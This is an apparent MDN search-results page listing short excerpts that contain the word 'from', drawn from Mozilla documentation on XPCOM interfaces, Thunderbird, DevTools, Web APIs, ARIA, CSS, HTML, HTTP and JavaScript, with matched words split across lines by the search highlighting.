...method overview boolean externalprotocolhandlerexists(in string aprotocolscheme); astring getapplicationdescription(in autf8string ascheme); nsihandlerinfo getprotocolhandlerinfo(in acstring aprotocolscheme); nsihandlerinfo getprotocolhandlerinfo
fromos(in acstring aprotocolscheme, out boolean afound); boolean isexposedprotocol(in string aprotocolscheme); void loaduri(in nsiuri auri, [optional] in nsiinterfacerequestor awindowcontext); void loadurl(in nsiuri aurl); void setprotocolhandlerdefaults(in nsihandlerinfo ahandlerinfo, in boolean aoshandlerexists); methods externalprotocolhandlerexists() check whether a handler for a specific protocol exists.
...boolean externalprotocolhandlerexists( in string aprotocolscheme ); parameters aprotocolscheme the scheme
from a url: http, ftp, mailto, and so on.
...And 6 more matches
nsIMessenger
inherits
from: nsisupports implemented by: @mozilla.org/messenger;1.
...unt)] in string urlarray, [array, size_is(count)] in string displaynamearray, [array, size_is(count)] in string messageuriarray, in boolean savefirst, [optional] in boolean withoutwarning); nsilocalfile saveattachmenttofolder(in acstring contenttype, in acstring url, in acstring displayname, in acstring messageuri, in nsilocalfile adestfolder); nsimsgmessageservice messageservice
fromuri(in acstring auri); nsimsgdbhdr msghdr
fromuri(in acstring auri); acstring getmsguriatnavigatepos(in long apos); acstring getfolderuriatnavigatepos(in long apos); void getnavigatehistory(out unsigned long acurpos, out unsigned long acount, [array, size_is(acount)] out string ahistory); note: prior to gecko 8.0, all references to nsidomwindow used in ...
... amsgwindow the nsimsgwindow to get messages
from.
...And 6 more matches
nsINavHistoryResultObserver
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) note: in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), this interface replaced the older nsinavhistoryresultviewer interface, which only allowed one client at a time.
... containerclosed() obsolete since gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) called when a container node's state changes
from opened to closed.
... containeropened() obsolete since gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) called when a container node's state changes
from closed to opened.
...And 6 more matches
nsINavHistoryResultViewer
1.0 66 introduced gecko 1.9 obsolete gecko 2.0 inherits
from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete.
... methods containerclosed() called when a container node's state changes
from closed to opened.
... containeropened() called when a container node's state changes
from closed to opened.
...And 6 more matches
nsIPlacesImportExportService
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) in the past, this interface also offered methods for importing places data, but those methods are now part of the bookmarkhtmlutils.jsm javascript code module.
... implemented by: @mozilla.org/import-export-service;1 as a service: var placesimportexportservice = components.classes["@mozilla.org/import-export-service;1"] .getservice(components.interfaces.nsiplacesimportexportservice); method overview void backupbookmarksfile(); void exporthtmltofile(in nsilocalfile afile); void importhtml
fromfile(in nsilocalfile afile, in boolean aisinitialimport); obsolete since gecko 14.0 void importhtml
fromfiletofolder(in nsilocalfile afile, in print64 afolder, in boolean aisinitialimport); obsolete since gecko 14.0 void importhtml
fromuri(in nsiuri auri, in boolean aisinitialimport); obsolete since gecko 14.0 methods backupbookmarksfile() backs up the bookmarks.html fi...
... importhtml
fromfile() obsolete since gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) note: this method has been removed; use the bookmarkhtmlutils.jsm javascript code module instead.
...And 6 more matches
nsIScriptableUnicodeConverter
if the other apis you are reading data
from or writing data to don't require you to use this legacy representation, you should use textdecoder and textencoder (available to chrome javascript via components.utils.importglobalproperties) instead of this api.
... inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/intl/scriptableunicodeconverter.
... to create an instance, use: var converter = components.classes["@mozilla.org/intl/scriptableunicodeconverter"] .createinstance(components.interfaces.nsiscriptableunicodeconverter); method overview acstring convert
fromunicode(in astring asrc); acstring finish(); astring converttounicode(in acstring asrc); astring convert
frombytearray([const,array,size_is(acount)] in octet adata, in unsigned long acount); void converttobytearray(in astring astring,[optional] out unsigned long alen,[array, size_is(alen),retval] out octet adata); nsiinputstream converttoinputstream(in astring astring); attributes attribute type description charset string current character set.
...And 6 more matches
nsITextInputProcessor
dom/interfaces/base/nsitextinputprocessor.idlscriptable this interface is a text input events synthesizer and manages its composition and modifier state 1.0 66 introduced gecko 38 inherits
from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) the motivation of this interface is to provide better api than nsidomwindowutils to dispatch key events and create, modify, and commit composition in higher level.
... for example, the implementation of this interface manages modifier state and composition state, initializes dom events
from minimum information, and doesn't dispatch some events if they are not necessary.
... this means that even when gecko changes the dom event behavior, it may not be necessary that the users of this interface need to be updated, i.e., the implementation of this class can be a cushion
from the impact of gecko's change.
...And 6 more matches
nsIWebContentHandlerRegistrar
inherits
from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/embeddor.implemented/web-content-handler-registrar;1 as a service: var nsiwchr = cc["@mozilla.org/embeddor.implemented/web-content-handler-registrar;1"] .getservice(ci.nsiwebcontenthandlerregistrar); method overview void registercontenthandler(in domstring mimetype, in domstring uri, in domstring title, in nsidomwindow contentwindow) void registerprotocolhandler(in domstring proto...
... contentwindow the dom content window
from which the method has been called.
... contentwindow the dom content window
from which the method has been called.
...And 6 more matches
nsIWebNavigation
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is implemented by the following components: * @mozilla.org/browser/shistory-internal;1 * @mozilla.org/browser/shistory;1 * @mozilla.org/embedding/browser/nswebbrowser;1 * @mozilla.org/docshell;1 gecko 1.9.2 note in gecko 1.9.2 (firefox 3.6), the @mozilla.org/webshell;1 component no longer exists; you need to use @mozilla.org/docshell;1 instead.
... load_flags_is_re
fresh 16 this flag specifies that the load should have the semantics of an html meta-re
fresh tag (that is, that the cache should be bypassed).
... load_flags_bypass_proxy 512 this flag specifies that any intermediate proxy caches should be bypassed (that is, that the content should be loaded
from the origin server).
...And 6 more matches
nsIWebProgressListener2
last changed in gecko 1.9 (firefox 3) inherits
from: nsiwebprogresslistener method overview void onprogresschange64(in nsiwebprogress awebprogress, in nsirequest arequest, in long long acurselfprogress, in long long amaxselfprogress, in long long acurtotalprogress, in long long amaxtotalprogress); boolean onre
freshattempted(in nsiwebprogress awebprogress, in nsiuri are
freshuri, in long amillis, in boolean asameuri); methods onprogresschange64() notification that the progress has changed for one of the requests associated with awebprogress.
... onre
freshattempted() notification that a re
fresh or redirect has been requested in awebprogress.
... for example, via a <meta http-equiv="re
fresh"> or an http re
fresh: header.
...And 6 more matches
nsCOMPtr versus RefPtr
this basic rule derives
from the fact that some of the nscomptr<t> code is factored into the nscomptr_base base class, which stores the underlying mrawptr as an nsisupports*.
...since nscomptr stores the pointer as an nsisupports*, it must be possible to unambiguously cast
from t* to nsisupports*.
... many concrete classes inherit
from nsisupports in more than one way, so they cannot be unambiguously cast to nsisupports*.
...And 6 more matches
Xptcall Porting Guide
the tree mozilla/xpcom/reflect/xptcall +--public // exported headers +--src // core source | \--md // platform specific parts | +--mac // mac ppc | +--unix // all unix | \--win32 // win32 | +--test // simple tests to get started \--tests // full tests via api porters are
free to create subdirectories under the base md directory for their given platforms and to integrate into the build system as appropriate for their platform.
...the invoke functionality requires the implementation of the following on each platform (
from xptcall/public/xptcall.h): xptc_public_api(nsresult) ns_invokebyindex(nsisupports* that, pruint32 methodindex, pruint32 paramcount, nsxptcvariant* params); calling code is expected to supply an array of nsxptcvariant structs.
...the platform specific code then builds a call
frame and invokes the method indicated by the index methodindex on the xpcom interface that.
...And 6 more matches
Xptcall Porting Status
feel
free to email me with questions or to volunteer to contribute xptcall code for any platform.
...status status platform contributors and <font color="red">?</font> possible contributors notes <font color="white">done</font> win32 x86 john bandhauer <jband@netscape.com> win32 <font color="white">done</font> linux x86 john bandhauer <jband@netscape.com> ulrich drepper <drepper@cygnus.com> unix <font color="white">done</font>
freebsd and netbsd x86 christoph toshok <toshok@hungry.com>, john bandhauer <jband@netscape.com> unix (same as linux 86 code) <font color="white">done</font> bsd/os x86 bert driehuis <bert_driehuis@nl.compuware.com> unix (same as linux 86 code) bert contributed patches that *should* do the right thing for all the unixish-x86 versions of this code for gcc 2.7 or 2.8 vs.
...notice the last 2 files (the change to mozilla\xpcom\build\makefile.win and mozilla\xpcom\build) are needed because i was unable to figure how to do a "declspecexport"
from the assembler asaxp ...
...And 6 more matches
XPCOM
if the component uses only "
frozen" xpcom interfaces, there is a good chance the same binary component will work with different versions of gecko (version 1.8 and 1.9, for example).
... the more likely case is that the component uses "un
frozen" interfaces and those interfaces can change between gecko versions.
...xpcom components can be implemented in c, c++, and javascript, and can be used
from c, c++, and javascript.
...And 6 more matches
Autoconfiguration in Thunderbird
mechanisms thunderbird gets the server settings via different means, each of which is intended for different cases: ispdb the ispdb is a central database, currently hosted by the thunderbird project, but
free to use for any client.
...for example, for the email address
fred@example.com , the lookup is performed as (in this order): tb-install-dir/isp/example.com.xml on the harddisk check for autoconfig.example.com look up of "example.com" in the ispdb look up "mx example.com" in dns, and for mx1.mail.hoster.com, look up "hoster.com" in the ispdb try to guess (imap.example.com, smtp.example.com etc.) we may add dns srv records as supported mechanism in the ...
...you are "hoster.com", but your customers have "
fred@flintstone.com" and "louis@kent.com" as domains, with only a few users per domain, you need to set up a configuration server (or rely on dns mx).
...And 6 more matches
Filelink Providers
the account setup dialog the account setup dialog allows the user to select what account type they would like to create
from a menulist.
... a provider implementation can choose what information it gets
from the user
from the setup dialog by pointing the settingsurl attribute of their nsimsgcloudfileprovider implementation to a chrome url for an xhtml page that contains a form with the extra information.
... that url is then loaded into an i
frame directly beneath the provider menulist.
...And 6 more matches
Using the Multiple Accounts API
it was imported
from mozilla.org and last updated in 2003.
...it holds all the information necessary to retrieve mail
from the remote server, such as hostname, user login name, and biff settings.
... smtp servers (nsismtpserver): an smtp server is not tied to any of the above and can be retrieved
from the smtp service (nsismtpservice).
...And 6 more matches
Debugger.Script - Firefox Developer Tools
the debugger interface constructs debugger.script objects as scripts of debuggee code are uncovered by the debugger: via the onnewscript handler method; via debugger.
frame’s script properties; via the functionscript method of debugger.object instances; and so on.
...this allows the code using each debugger instance to place whatever properties it likes on its debugger.script instances, without worrying about interfering with other debuggers.) a debugger.script instance is a strong reference to a jsscript object; it protects the script it refers to
from being garbage collected.
... a debugger.script instance is a strong reference to the underlying webassembly module; it protects the module it refers to
from being garbage collected.
...And 6 more matches
Inspecting web sockets - Firefox Developer Tools
choose the reponse tab to inspect web socket
frames sent and received through the selected connection.
... the live-updated table shows data for sent (green arrow) and received (red arrow)
frames.
... each
frame expands on click, so you can inspect the formatted data.
...And 6 more matches
about:debugging - Firefox Developer Tools
the about:debugging page provides a single place
from which you can attach the firefox developer tools to a number of debugging targets.
... if your about:debugging page is different
from the one displayed here, go to about:config, find and set the option devtools.aboutdebugging.new-enabled to true.
... if your device doesn't appear in the lefthand side of the about:debugging page, try clicking the re
fresh devices button.
...And 6 more matches
CSSStyleSheet - Web APIs
it inherits properties and methods
from its parent, stylesheet.
...the rules are contained in a cssrulelist, which can be obtained
from the stylesheet's cssrules property.
... properties inherits properties
from its parent, stylesheet.
...And 6 more matches
Cache - Web APIs
make sure to version caches by name and use the caches only
from the version of the script that they can safely operate on.
... examples this code snippet is
from the service worker selective caching sample.
...if there isn't a matching font, the code fetches the font
from the network and uses cache.put() to cache the fetched resource.
...And 6 more matches
CanvasRenderingContext2D - Web APIs
it tries to draw a straight line
from the current point to the start.
... canvasrenderingcontext2d.clip() creates a clipping path
from the current sub-paths.
... canvasrenderingcontext2d.putimagedata() paints data
from the given imagedata object onto the bitmap.
...And 6 more matches
Pixel manipulation with canvas - Web APIs
we will also look into how image smoothing (anti-aliasing) can be controlled and how to save images
from your canvas.
...pixels then proceed
from left to right, then downward, throughout the array.
... the uint8clampedarray contains height × width × 4 bytes of data, with index values ranging
from 0 to (height×width×4)-1.
...And 6 more matches
DOMParser - Web APIs
the domparser interface provides the ability to parse xml or html source code
from a string into a dom document.
... note: xmlhttprequest can parse xml and html directly
from a url-addressable resource, returning a document in its response property.
... in the case of an html document, you can also replace portions of the dom with new dom trees built
from html by setting the value of the element.innerhtml and outerhtml properties.
...And 6 more matches
EventTarget.addEventListener() - Web APIs
you can learn more
from the article about eventlisteneroptions
from the web incubator community group.
...this lets you easily bypass problems where it's unclear what this will be, depending on the context
from which your function was called.
... break; } } } const myobject = new someclass(); myobject.register(); getting data into and out of an event listener it may seem that event listeners are like islands, and that it is extremely difficult to pass them any data, much less to get any data back
from them after they execute.
...And 6 more matches
Using Fetch - Web APIs
the fetch specification differs
from jquery.ajax() in three main ways: the promise returned
from fetch() won’t reject on http error status even if the response is an http 404 or 500.
... instead, it will resolve normally (with ok status set to false), and it will only reject on network failure or if anything prevented the request
from completing.
...set-cookie headers
from other sites are silently ignored.
...And 6 more matches
FileHandle API - Web APIs
however, they are important for the filehandle object as it can generate file objects which inherit their own name and type
from those values.
...if you want a file to survive a page re
fresh/app relaunch, you need to store the handle in a more permanent location, like the database itself.
... // get a lockedfile object
from the handle var myfile = myfilehandle.open('readwrite'); // start a writing operation var writing = myfile.append('some content'); writing.onsuccess = function () { console.log('writing operation successful'); } writing.onerror = function () { console.log('something goes wrong in the writing process: ' + this.error); } reading it's possible to directly write the content of a lockedfile...
...And 6 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
in order to allow microtasks to be used by third-party libraries,
frameworks, and polyfills, the queuemicrotask() method is exposed on the window and worker interfaces through the windoworworkerglobalscope mixin.
... tasks vs microtasks to properly discuss microtasks, it's first useful to know what a javascript task is and how microtasks differ
from tasks.
... tasks get added to the task queue when: a new javascript program or subprogram is executed (such as
from a console, or by running the code in a <script> element) directly.
...And 6 more matches
The HTML DOM API - Web APIs
among the things added to document by the html standard are: support for accessing various information provided by the http headers when loading the page, such as the location
from which the document was loaded, cookies, modification date, referring site, and so forth.
... html element interfaces the element interface has been further adapted to represent html elements specifically by introducing the htmlelement interface, which all more specific html element classes inherit
from.
...the element, then, includes the anchor-specific properties and methods described in that class's documentation, but also those defined by htmlelement and element, as well as
from node and, finally, eventtarget.
...And 6 more matches
SVGPathSegList - Web APIs
methods clear() void clears all existing current items
from the list, with the result being an empty list.
... initialize(in svgpathseg newitem) svgpathseg clears all existing current items
from the list and re-initializes the list to hold the single item specified by newitem.
... if the inserted item is already in a list, it is removed
from its previous list before it is inserted into this list.
...And 6 more matches
SVGPointList - Web APIs
methods name & arguments return description clear() void clears all existing current items
from the list, with the result being an empty list.
... initialize(in svgpoint newitem) svgpoint clears all existing current items
from the list and re-initializes the list to hold the single item specified by the parameter.
... if the inserted item is already in a list, it is removed
from its previous list before it is inserted into this list.
...And 6 more matches
SVGStringList - Web APIs
methods name & arguments return description clear() void clears all existing current items
from the list, with the result being an empty list.
... initialize(in domstring newitem) domstring clears all existing current items
from the list and re-initializes the list to hold the single item specified by the parameter.
... if the inserted item is already in a list, it is removed
from its previous list before it is inserted into this list.
...And 6 more matches
Using the Screen Capture API - Web APIs
a visible display surface is a surface which is entirely visible on the screen, such as the
frontmost window or tab, or the entire screen.
... a user agent might allow the capture of the entire content of an obscured window after gaining permission
from the user to do so.
...then the cursor is removed
from the stream.
...And 6 more matches
Sensor APIs - Web APIs
alternatively, the absoluteorientationsensor interface provides information that is algorithmically agregated
from two or more device sensors.
... let accelerometer = null; try { accelerometer = new accelerometer({ reference
frame: 'device' }); accelerometer.addeventlistener('error', event => { // handle runtime errors.
... const sensor = new absoluteorientationsensor(); sensor.start(); sensor.onerror = event => { if (event.error.name === 'securityerror') console.log("no permissions to use absoluteorientationsensor."); }; the following table describes for each sensor type, the name required for the permissions api, the <i
frame> element's allow attribute and the feature-policy directive.
...And 6 more matches
ServiceWorkerGlobalScope - Web APIs
additionally, synchronous requests are not allowed
from within a service worker — only asynchronous requests, like those initiated via the fetch() method, can be used.
... this interface inherits
from the workerglobalscope interface, and its parent eventtarget, and therefore implements properties
from windowtimers, windowbase64, and windoweventhandlers.
... contentdelete occurs when an item is removed
from the content index.
...And 6 more matches
SubtleCrypto.importKey() - Web APIs
raw import this example imports an aes key
from an arraybuffer containing the bytes to use.
... const rawkey = window.crypto.getrandomvalues(new uint8array(16)); /* import an aes secret key
from an arraybuffer containing the raw bytes.
...*/ function importsecretkey(rawkey) { return window.crypto.subtle.importkey( "raw", rawkey, "aes-gcm", true, ["encrypt", "decrypt"] ); } pkcs #8 import this example imports an rsa private signing key
from a pem-encoded pkcs #8 object.
...And 6 more matches
Using Touch Events - Web APIs
the interaction ends when the fingers are removed
from the surface.
... touchend - fired when a touch point is removed
from the touch surface.
... for the touchend event, it is a list of the touch points that have been removed
from the surface (that is, the set of touch points corresponding to fingers no longer touching the surface).
...And 6 more matches
Touch events - Web APIs
the interaction ends when the fingers are removed
from the surface.
...console.log("touchstart:" + i + "..."); ongoingtouches.push(copytouch(touches[i])); var color = colorfortouch(touches[i]); ctx.beginpath(); ctx.arc(touches[i].pagex, touches[i].pagey, 4, 0, 2 * math.pi, false); // a circle at the start ctx.fillstyle = color; ctx.fill(); console.log("touchstart:" + i + "."); } } this calls event.preventdefault() to keep the browser
from continuing to process the touch event (this also prevents a mouse event
from also being delivered).
...its responsibility in this example is to update the cached touch information and to draw a line
from the previous position to the current position of each touch.
...And 6 more matches
VisualViewport - Web APIs
for a page containing i
frames, each i
frame, as well as the containing page, will have a unique window object.
... note: only the top-level window has a visual viewport that's distinct
from the layout viewport.
...for an <i
frame>, visual viewport metrics like visualviewport.width always correspond to layout viewport metrics like document.documentelement.clientwidth.
...And 6 more matches
Using textures in WebGL - Web APIs
our sample loads a copy
from a cdn in our html's <head>.
... note: it's important to note that the loading of textures follows cross-domain rules; that is, you can only load textures
from sites for which your content has cors approval.
... to load the texture
from the image file, it then creates an image object and assigns the src to the url for our image we wish to use as our texture.
...And 6 more matches
Using DTMF with WebRTC - Web APIs
once the track is selected, you can obtain
from its rtcrtpsender the rtcdtmfsender object you'll use for sending dtmf.
...
from there, you can simply call rtcdtmfsender.insertdtmf() to enqueue dtmf signals to be sent on the track to the other peer.
... adding the audio to the connection as mentioned above, when the audio input
from the microphone is obtained, gotstream() is called.
...And 6 more matches
XRViewerPose - Web APIs
this view can represent anything
from the point-of-view of a user's xr headset to the viewpoint represented by a player's movement of an avatar using mouse and keyboard, presented on the screen, to a virtual camera capturing the scene for a spectator.
... properties in addition to the properties inherited
from xrpose, xrviewerpose includes the following: views read only an array of xrview objects, one for each viewpoint on the scene which is needed to represent the scene to the user.
...by calling viewport() on the webgl context, specifying the xrview as input, you can get the viewport to use when rendering in order to draw the
frame for that eye into the correct part of the drawing surface.
...And 6 more matches
Web APIs
aambient light eventsbbackground tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api
frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformanc...
...thadvertisingdata bluetoothcharacteristicproperties bluetoothdevice bluetoothremotegattcharacteristic bluetoothremotegattdescriptor bluetoothremotegattserver bluetoothremotegattservice body broadcastchannel budgetservice budgetstate buffersource bytelengthqueuingstrategy bytestring c cdatasection css cssconditionrule csscounterstylerule cssgroupingrule cssimagevalue csskey
framerule csskey
framesrule csskeywordvalue cssmathproduct cssmathsum cssmathvalue cssmediarule cssnamespacerule cssnumericvalue cssomstring csspagerule csspositionvalue cssprimitivevalue csspseudoelement cssrule cssrulelist cssstyledeclaration cssstylerule cssstylesheet cssstylevalue csssupportsrule cssunitvalue cssunparsedvalue cssvalue cssvaluelist cssvariablereferenc...
...domstringmap domtimestamp domtokenlist domuserdata datatransfer datatransferitem datatransferitemlist dedicatedworkerglobalscope delaynode deprecationreportbody devicelightevent devicemotionevent devicemotioneventacceleration devicemotioneventrotationrate deviceorientationevent deviceproximityevent directoryentrysync directoryreadersync displaymediastreamconstraints document document
fragment documentorshadowroot documenttimeline documenttouch documenttype doublerange dragevent dynamicscompressornode e ext_blend_minmax ext_color_buffer_float ext_color_buffer_half_float ext_disjoint_timer_query ext_float_blend ext_
frag_depth ext_srgb ext_shader_texture_lod ext_texture_compression_bptc ext_texture_compression_rgtc ext_texture_filter_anisotropic eckeygenparams eckeyimportparams ...
...And 6 more matches
ARIA Test Cases - Accessibility
also, as a clever feature for at testing, the firing of events (like event_object_statechange) can be invoked
from the examples.
... when closing the menu, this should be indicated, and focus should be repeated for the menu button the menu was opened
from, or the new focus location if the activated menu item results in that.
... fail - changes not spoken fail fail voiceover (leopard) n/a n/a - fail window-eyes pass fail (unchecked presented as checked, ie exposing incorrect state for no aria-checked attribute) fail fail nvda fail -- for change
from mixed to fully checked, nothing spoken n/a fail fail zoom (leopard) pass n/a pass pass zoomtext pass - fail fail orca - n/a - - combobox testcases: editable combo 2 dojo nightly build (combobox) dojo nightly build (combobox with auto complete) expected at behavior: on focus, screen reader announces the lab...
...And 6 more matches
ARIA annotations - Accessibility
role="insertion" and role="deletion" — semantically denote html elements whose contents represent an insertion to or deletion
from the overall document.
... aria annotation roles and objects are currently exposed in: firefox
from version 75 onwards, on windows and linux (on macos, we are first waiting for apple to define what safari will expose as apple-dialect attributes to voiceover, and will then follow suit.) chrome
from version 81 onwards, currently behind the #enable-accessibility-expose-aria-annotations flag (go to chrome://flags to enable this.) unfortunately, you won’t be able to use any of these yet, as s...
... a basic description simple descriptions basically just involve usage of aria-description on an element to provide a description that can’t be gotten
from the element’s text alone.
...And 6 more matches
WAI-ARIA Roles - Accessibility
it is usually set on related content items such as comments, forum posts, newspaper articles or other items grouped together on one page.aria: banner rolea banner role represents general and informative content
frequently placed at the beginning of the page.
...these sections are
frequently presented as sidebars or call-out boxes.
...this section is commonly called a footer.aria: dialog rolethe dialog role is used to mark up an html based application dialog or window that separates content or ui
from the rest of the web application or page.
...And 6 more matches
CSS Animations tips and tricks - CSS: Cascading Style Sheets
.runbutton { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 12px; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } @key
frames colorchange { 0% { background: yellow } 100% { background: blue } } .box { width: 100px; height: 100px; border: 1px solid black; } .changing { animation: colorchange 2s; } there are two classes here.
...the animation details are included in the "changing" class, which says that the @key
frames named "colorchange" should be used over the course of two seconds to animate the box.
... function play() { document.queryselector(".box").classname = "box"; window.requestanimation
frame(function(time) { window.requestanimation
frame(function(time) { document.queryselector(".box").classname = "box changing"; }); }); } this looks weird, doesn't it?
...And 6 more matches
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
if flex-direction is set to row-reverse then the items will start
from the end edge of the container and lay themselves out in reverse ordered lines.
...we start on the right then go onto the second line and again start
from the right.
... we aren’t reversing in both directions, starting
from the bottom coming up the container!
...And 6 more matches
OpenType font features guide - CSS: Cascading Style Sheets
these include things like ligatures (special glyphs that combine characters like 'fi' or 'ffl'), kerning (adjustments to the spacing between specific letterform pairings),
fractions, numeral styles, and a number of others.
...
fractions can make home improvement and recipe sites much easier to read and understand.
...'lining' figures on the other hand sit more uniformly on their own or in
front of capitalized words.
...And 6 more matches
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1
fr); grid-gap: 10px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> default rules for auto-placement as you can see with the above example, if you create a grid all child items will lay themselves out one into each grid cell.
...; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1
fr); grid-gap: 10px; grid-auto-rows: 100px; } you can use minmax() in your value for grid-auto-rows enabling the creation of rows that are a minimum size but then grow to fit content if it is taller.
... </div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1
fr); grid-gap: 10px; grid-auto-rows: minmax(100px, auto); } you can also pass in a track listing, this will repeat.
...And 6 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
the control's ui varies in general
from browser to browser; at the moment support is patchy, with only chrome/opera and edge on desktop and most modern versions of mobile browsers having usable implementations.
... because of the limited browser support for datetime-local, and the variations in how the inputs work, it may currently still be best to use a
framework or library to present these, or to use a custom input of your own.
... you can set a default value for the input by including a date and time inside the value attribute, like so: <label for="party">enter a date and time for your party booking:</label> <input id="party" type="datetime-local" name="partydate" value="2017-06-01t08:30"> one thing to note is that the displayed date and time formats differ
from the actual value; the displayed date and time are formatted according to the user's locale as reported by their operating system, whereas the date/time value is always formatted yyyy-mm-ddthh:mm.
...And 6 more matches
itemprop - HTML: Hypertext Markup Language
property values are either a string or a url and can be associated with a very wide range of elements including <audio>, <embed>, <i
frame>, <img>, <link>, <object>, <source> , <track>, and <video>.
... an item with a property whose value is a product id the id is not human-
friendly, so the product's name is used the human-visible text instead of the id.
... a meter element <div itemscope itemtype="http://schema.org/product"> <span itemprop="name">panasonic white 60l re
frigerator</span> <img src="panasonic-
fridge-60l-white.jpg" alt=""> <div itemprop="aggregaterating" itemscope itemtype="http://schema.org/aggregaterating"> <meter itemprop="ratingvalue" min=0 value=3.5 max=5>rated 3.5/5</meter> (based on <span itemprop="reviewcount">11</span> customer reviews) </div> </div> similarly, for date- and time-related data, the time element and its datetime attribute can be used.
...And 6 more matches
Global attributes - HTML: Hypertext Markup Language
in addition to the basic html global attributes, the following global attributes also exist: xml:lang and xml:base — these are inherited
from the xhtml specifications and deprecated, but kept for compatibility purposes.
...it can have the following values: ltr, which means left to right and is to be used for languages that are written
from the left to the right (like english); rtl, which means right to left and is to be used for languages that are written
from the right to the left (like arabic); auto, which lets the user agent decide.
... exportparts used to transitively export shadow parts
from a nested shadow tree into a containing light tree.
...And 6 more matches
Configuring servers for Ogg media - HTTP
handle http 1.1 byte range requests correctly in order to support seeking and playing back regions of the media that aren't yet downloaded, gecko uses http 1.1 byte-range requests to retrieve the media
from the seek target position.
... include regular key
frames when the browser seeks through ogg media to a specified time, it has to seek to the nearest key
frame before the seek target, then download and decode the video
from there until the requested target time.
... the farther apart your key
frames are, the longer this takes, so it's helpful to include key
frames at regular intervals.
...And 6 more matches
Using HTTP cookies - HTTP
typically, it's used to tell if two requests came
from the same browser — keeping a user logged-in, for example.
... to see stored cookies (and other storage that a web page can use), you can enable the storage inspector in developer tools and select cookies
from the storage tree.
... the set-cookie and cookie headers the set-cookie http response header sends cookies
from the server to the user agent.
...And 6 more matches
Feature Policy - HTTP
restrict a site
from using sensitive apis like camera or microphone.
... allow i
frames to use the fullscreen api.
... concepts and usage feature policy allows you to control which origins can use which features, both in the top-level page and in embedded
frames.
...And 6 more matches
Functions - JavaScript
to use a function, you must define it somewhere in the scope
from which you wish to call it.
...for example, the following function definition defines myfunc only if num equals 0: var myfunc; if (num === 0) { myfunc = function(theobject) { theobject.make = 'toyota'; } } in addition to defining functions as described here, you can also use the function constructor to create functions
from a string at runtime, much like eval().
... function scope variables defined inside a function cannot be accessed
from anywhere outside the function, because the variable is defined only in the scope of the function.
...And 6 more matches
Assertions - JavaScript
/jack(?=sprat|
frost)/ matches "jack" only if it is followed by "sprat" or "
frost".
... however, neither "sprat" nor "
frost" is part of the match results.
...in this example, we can get the
fruits that start with 'a' by a /^a/ regex.
...And 6 more matches
Regular expression syntax cheatsheet - JavaScript
\w matches any alphanumeric character
from the basic latin alphabet, including the underscore.
... \w matches any character that is not a word character
from the basic latin alphabet.
... \cx matches a control character using caret notation, where "x" is a letter
from a–z (corresponding to codepoints u+0001–u+001f).
...And 6 more matches
Array.prototype.indexOf() - JavaScript
syntax arr.indexof(searchelement[,
fromindex]) parameters searchelement element to locate in the array.
...
fromindex optional the index to start the search at.
...if the provided index value is a negative number, it is taken as the offset
from the end of the array.
...And 6 more matches
Array.prototype.lastIndexOf() - JavaScript
the array is searched backwards, starting at
fromindex.
... syntax arr.lastindexof(searchelement[,
fromindex]) parameters searchelement element to locate in the array.
...
fromindex optional the index at which to start searching backwards.
...And 6 more matches
Array.prototype.slice() - JavaScript
the slice() method returns a shallow copy of a portion of an array into a new array object selected
from start to end (end not included) where start and end represent the index of items in that array.
... a negative index can be used, indicating an offset
from the end of the sequence.
... if start is undefined, slice starts
from the index 0.
...And 6 more matches
Array.prototype.splice() - JavaScript
if negative, it will begin that many elements
from the end of the array.
... (in this case, the origin -1, meaning -n is the index of the nth last element, and is therefore equivalent to the index of array.length - n.) if array.length + start is less than 0, it will begin
from index 0.
... deletecount optional an integer indicating the number of elements in the array to remove
from start.
...And 6 more matches
Intl.PluralRules() constructor - JavaScript
the following properties fall into two groups: minimumintegerdigits, minimum
fractiondigits, and maximum
fractiondigits in one group, minimumsignificantdigits and maximumsignificantdigits in the other.
... if at least one property
from the second group is defined, then the first group is ignored.
...possible values are
